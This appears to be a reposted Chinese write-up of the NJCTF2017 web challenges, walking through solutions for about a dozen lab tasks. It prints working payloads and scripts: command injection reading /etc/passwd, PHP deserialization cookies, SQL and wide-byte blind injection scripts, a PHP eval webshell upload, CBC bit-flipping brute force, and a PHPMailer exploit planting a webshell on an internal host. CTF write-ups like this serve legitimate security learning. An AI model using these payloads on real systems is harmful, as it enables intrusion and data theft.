首页 > 代码库 > NJCTF2017 Web Writeup

NJCTF2017 Web Writeup

一个登陆和注册的功能,开始以为是注入,发现并不行。
后来尝试了下弱口令

1
2
username:admin
password:admin123

 

结果登录成功了。。
技术分享
其实正解是注册时注册用户为
admin后跟很多很多空格之后加个a
就是注册时拼接到数据库时有长度限制
一开始测试不成功是因为空格太少了,尴尬


Get Flag

看起来是一个搜索图片的框
技术分享
输入1.jpg后在返回页面查看源码,发现被base64加密过
技术分享
那么我直接读../../../../../../etc/passwd试试
解base64发现确实可以读到
猜测可能直接执行了cat命令,那么构造

1
../../../../../../etc/passwd & ls ./

 

可以列出目录
最后找到flag在../../9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag
然后直接读就好了


Text wall

存在.index.php.swo
给出了部分源码

1
2
3
4
5
6
7
8
9
10
<?php
$lists = [];
Class filelist{
public function __toString()
{
return highlight_file(‘hiehiehie.txt‘, true).highlight_file($this->source, true);
}
}
........
?>

 

submit后发现cookie中存在序列化的东西
技术分享
应该是一个反序列化的漏洞
结果找到了原题
构造脚本
(注意前面是40位随机值,所以将md5改为sha1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?
Class filelist{
public function __toString()
{
return highlight_file(‘hiehiehie.txt‘, true).highlight_file($this->source, true);
}
}
 
$foo = new filelist();
$foo->source = ‘index.php‘;
 
$bar = [];
$bar[] = $foo; //这里是一个数组,tostring时其实可以返回数组内的所有文件
 
$m = serialize($bar);
$h = sha1($m);
 
echo $h.$m; //这里注意不需要urlencode
?>

 

得到

1
f3a6de2497f71356a3995e26a1f4f64ae48e80b1a:1:{i:0;O:8:"filelist":1:{s:6:"source";s:9:"index.php";}}

 

然后修改cookie刷新页面后
技术分享
最终payload为

1
579574889b2cc082443598ee85d9a4839698a948a:1:{i:0;O:8:"filelist":1:{s:6:"source";s:46:"/var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g";}}

 


Wallet

进入admin.php发现cookie中有auth和hsh
默认是auth=0,hsh=b6589fc6ab0dc82cf12099d1c2d40ab994e8410c
hsh拿cmd5解密后是0的sha1值
于是尝试auth=1,hsh=356a192b7913b04c54574d18c28d46e6395428ab (这是1sha1值)
发现并没有什么作用,还是
技术分享
后来提示压缩包密码为弱口令
存在www.zip
里面是admin.php
试出来密码是njctf2017
admin.php直接查看有很多乱码,应该是被加密过
有个php在线解密网站
在线phpjm解密 下再美化下。。
获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
require_once "db.php";
$auth = 0;
if (isset($_COOKIE["auth"])) {
$auth = $_COOKIE["auth"];
$hsh = $_COOKIE["hsh"];
if ($auth == $hsh) {
$auth = 0;
} else {
if (sha1((string) $hsh) == md5((string) $auth)) {
$auth = 1;
} else {
$auth = 0;
}
}
} else {
$auth = 0;
$s = $auth;
setcookie("auth", $s);
setcookie("hsh", sha1((string) $s));
}
if ($auth) {
if (isset($_GET[‘query‘])) {
$db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);
$qstr = SQLITE3::escapeString($_GET[‘query‘]);
$query = "SELECT amount FROM my_wallets WHERE id={$qstr}";
$result = $db->querySingle($query);
if (!$result === NULL) {
echo "Error - invalid query";
} else {
echo "Wallet contains: {$result}";
}
} else {
echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name=‘input‘ action=‘admin.php‘ method=‘get‘>Wallet ID: <input type=‘text‘ name=‘query‘><input type=‘submit‘ value=http://www.mamicode.com/‘Submit Query‘>";
}
} else {
echo "Sorry, not authorized.";
}

 

要想auth=1,关键点是使

1
sha1((string) $hsh) == md5((string) $auth)

 

搜到一篇文章:魔术哈希
问题出在==符号
当哈希值以0e开头是,并且后面都是数字时,会被认为是0(科学计数法)
0==0时当然成立

1
2
md5(240610708) = 0e462097431906509019562988736854
sha1(10932435112) = 0e07766915004133176347055865026311692244

 

那么去构造cookie:auth=240610708,hsh=10932435112
成功进去了
技术分享
然后就是sqlite注入了
随便找了篇sqlite的文章
关键是找到sqlite_master里的东西就行了
payload为

1
http://218.2.197.235:23723/admin.php?query=-1 union select id from flag

 


Blog

ruby web 虽然有源码
贴上学长的思路
技术分享
技术分享
技术分享
有一个admin参数
但在黑盒审计的时候是没有的
接着看表定义
技术分享
那么这个逻辑就是如果没有这个值就不是管理员啰
技术分享
注册的时候带 user[admin]=1 参数
用这个参数登陆
应该遍历完所有用户就可以找到上面图里的flag了


Pictures’ wall

一开始直接admin admin登录进去吓一跳
后来在upload界面看到
技术分享
又去试root root 又进去了,惊了!
后来才知道这题没验证密码。。
进入upload后但是还是返回上图结果
改了半天http头的各种参数还是没什么用
后来登录的时候把host改为127.0.0.1就行了
技术分享
再进入index.php?act=user可以看到
技术分享
然后上传呗
返回各种
技术分享
发现文件后缀名为.phtml时会有其他回显
并且上传一般字符可以上传成功并且会产生一个phtml文件
然后文件内容存在<?php?>之类的会有
技术分享
或者
技术分享
尝试使用

1
<script language="php">

 

并没有被过滤,于是构造

1
<script language="php"> @eval($_POST[c014])</script>

 

技术分享
成功getshell
技术分享
payload

1
c014=system(‘cat ../../AOvU7WJDRTxn1tv2g56SJLpJK1l7EmBi_thi5_flag‘);

 

上传漏洞一些要点


Be admin

存在index.php.bak
cbc反转加密
还需要配合sql注入
贴上队友的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#! /usr/bin/env python
# -*- coding: utf-8 -*-
import base64
import requests
import urllib
aa = ‘)\xa5\xa1\xec>)F\x119\xbc\xfcor\x11\xd9\xa4‘
url = "http://218.2.197.235:23737/"
cookie = {"PHPSESSID":"qe6s9hjkpqrfcv07hf1ous71m7"}
iv = ["\x00"]*16
cipher = [‘\x00‘, 236, 46, 92, 100, 49, 71, 211, 255, 106, 69, 3, 16, 13, 233, 54]
plain = "admin"
plain += 11*chr(11)
plain = list(plain)
# for i in xrange(16,17):
# for j in xrange(1,i):
# iv[16-i+j] = chr(cipher[16-i+j] ^ i)
# for x in xrange(218,256):
# iv[16-i] = chr(x)
# tmp_iv = "".join(iv)
# cookie[‘token‘] = urllib.quote(base64.b64encode(tmp_iv))
# print cookie
# try:
# r = requests.get(url, cookies=cookie)
# print "%s"%x, r.content
# except:
# print cipher
# print x
# exit();
# if "ctfer!" in r.content:
# break
# else:
# print cipher
# exit();
# cipher[16-i] = x ^ i
# break
# print cipher
# for x in cipher:
# print hex(x)
plain = [‘a‘, ‘\x88‘, ‘C‘, ‘5‘, ‘\n‘, ‘:‘, ‘L‘, ‘\xd8‘, ‘\xf4‘, ‘a‘, ‘N‘, ‘\x08‘, ‘\x1b‘, ‘\x06‘, ‘\xe2‘, ‘=‘]
for x in xrange(193,256):
plain[0] = chr(x)
tmp_p = "".join(plain)
cookie[‘token‘] = urllib.quote(base64.b64encode(tmp_p))
r = requests.get(url, cookies=cookie)
print x
print r.content

 

不过经常跑到最后几位就跑不出来。。很是蛋疼


Come on

是一道宽字节注入题
注入时注意把#换成%23
通过测试发现很多都被过滤了
我发现可用有 || 和 strcmp函数等
strcmp(str1,str2):对比两个字符串str1和str2,如果两字符串相等,返回0;如果当前的排序规则,str1小于str2,则返回-1,反之则都返回1.
而且不能用单双引号,那么就用16进制表示
后来又坑了半天,原来是空格被过滤了
直接贴上读flag的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# -*- coding:utf-8 -*-
import requests
import binascii
 
def get_flag():
flag = ""
for i in range(0,100):
print i
url = "http://218.2.197.235:23733/index.php?key=1%df%27 || length((select(flag)from(flag)))="+str(i)+" %23"
# length((select table_name from information_schema.tables where table_schema = database()))
r = s.get( url = url )
if "002265" in r.content:
length = i
print "flag length:"+str(i)
break
 
for i in range(1,length+1):
print i
for j in range(33,127):
url = "http://218.2.197.235:23733/index.php?key=1%df%27 || strcmp(left((select(flag)from(flag)),"+str(i)+"),"+"binary(0x"+flag+binascii.b2a_hex(chr(j))+"))=0 %23"
r = s.get( url = url )
if "002265" in r.content:
print "Ok!"
flag = flag + binascii.b2a_hex(chr(j))
print flag
print binascii.a2b_hex(flag)
break
 
print binascii.a2b_hex(flag)
 
if __name__ == ‘__main__‘:
get_table()

 

有个binary,不加的话大小写会混乱。
binary不是函数,是类型转换运算符,它用来强制它后面的字符串为一个二进制字符串,可以理解为在字符串比较的时候区分大小写
如下图
技术分享


Chall I & II

有原题
题目有改动
在nodejs中,如果字符串中全是数字,字符串就会变成数字
具体做法见http://lorexxar.cn/2017/03/13/njctf2017-wp/


Guess

一个上传页面,上传后会跳到?page=upload
试了下可以用php伪协议读取源码,如图
技术分享
可以读index.php 和upload.php
关键代码是这几段
技术分享
跟以前hctf的一道题:兵者多诡很像,不过是不知道文件名,需要来爆破
准备一个zip压缩包,改为png后缀,上传成功
技术分享
查看代码,注意这里
技术分享
session_id()其实是可控的,上传时设置PHPSESSID=;
根据返回的SESSI0N=6745534f42a1df76ae3e07e578fe5d85;
用php_mt_seed工具爆破出种子
然后就可以得到文件名了
32位随机值脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
mt_srand(712974944);
echo mt_rand()."\n";
 
function random_str($length = "32")
{
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = ‘‘;
 
for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}
 
return $str;
}
 
echo random_str()."\n";
?>

 

然后就是hctf的做法了
这题之前有个疑问是构造文件名为../../之类的上传可以上传成功,但是并找不到文件


Be logical

登录进去后发现有一个钱和积分相互买的功能而且是1:1
用钱换回积分时有个url如

1
http://218.2.197.235:23739/refundprocess.php?comment=&id=4557&username=c014cccc&points=123&money=123

 

直接修改points=1234这类情况时会返回
技术分享
但是修改points=123e10发现可以成功
然后去买service,进入后是
技术分享
是ImageMagick(CVE-2016-3714)漏洞,和利用poc
然后上传后getshell
技术分享
但是并没有发现flag
ifconfig发现存在内网
技术分享
于是进行内网渗透
存在172.17.0.19
技术分享
是一个发邮件的页面,想到才爆出不久的PHPMailer漏洞,和利用poc
而且有一个/uploads/目录
技术分享
构造

1
curl -X POST --data "subject=<?php eval($_GET[c014]);?>&email=aaa( -X/var/www/html/uploads/c014.php -OQueueDirectory=/tmp )@qq.com&message=<?php system(‘ls ..‘);?>&submit=Send email" http://172.17.0.19/index.php

 

然后curl http://172.17.0.19/uploads/c014.php
得到文件名

1
curl -X POST --data "subject=<?php eval($_GET[c014]);?>&email=aaa( -X/var/www/html/uploads/c014c.php -OQueueDirectory=/tmp )@qq.com&message=<?php system(‘cat ../flaaaaaaag.php‘);?>&submit=Send email" http://172.17.0.19

 

curl http://172.17.0.19/uploads/c014c.php即可获取flag
技术分享

NJCTF2017 Web Writeup